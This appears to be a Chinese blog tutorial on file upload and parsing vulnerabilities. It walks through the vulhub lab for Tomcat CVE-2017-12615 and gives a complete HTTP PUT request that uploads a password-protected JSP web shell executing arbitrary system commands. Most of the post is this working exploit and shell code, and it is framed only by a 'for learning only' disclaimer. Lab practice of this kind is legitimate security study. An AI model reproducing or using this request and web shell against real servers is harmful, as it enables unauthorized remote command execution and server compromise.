文件上传漏洞

最新推荐文章于 2024-10-03 16:55:50 发布

m0_64922620

最新推荐文章于 2024-10-03 16:55:50 发布

阅读量1.4k

点赞数 42

分类专栏：解析漏洞文章标签：网络安全

本文链接：https://blog.youkuaiyun.com/m0_64922620/article/details/138587691

版权

解析漏洞专栏收录该内容

1 篇文章

订阅专栏

免责声明：仅供学习使用。

文件上传靶场的相关知识网上很多，也写的很全，可以去他们博客看看，这里写一些其他的。

upload-labs靶场通关（文件上传漏洞靶场）_upload pass 通关-优快云博客

tomcat 文件解析漏洞

靶机：vulhub

进入到目录：/home/enjoy/vulhub-master/tomcat/CVE-2017-12615

编译、运行docker

su root

cd /home/enjoy/vulhub-master/tomcat/CVE-2017-12615
docker-compose build
docker-compose up -d
docker-compose config

访问vukhub的 ip:8080

bp抓包后修改为1.jsp文件并发送过去

PUT /1.jsp/ HTTP/1.1
Host: 192.168.211.134:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 750
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c) {
StringBuilder line = new StringBuilder();
try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new
BufferedReader(new InputStreamReader(pro.getInputStream()));
String temp = null;while ((temp = buf.readLine()) != null) {

line.append(temp+"\n");}buf.close();} catch (Exception e) {
line.append(e.getMessage());}return
line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getP
arameter("cmd"))){
out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-
)");}%>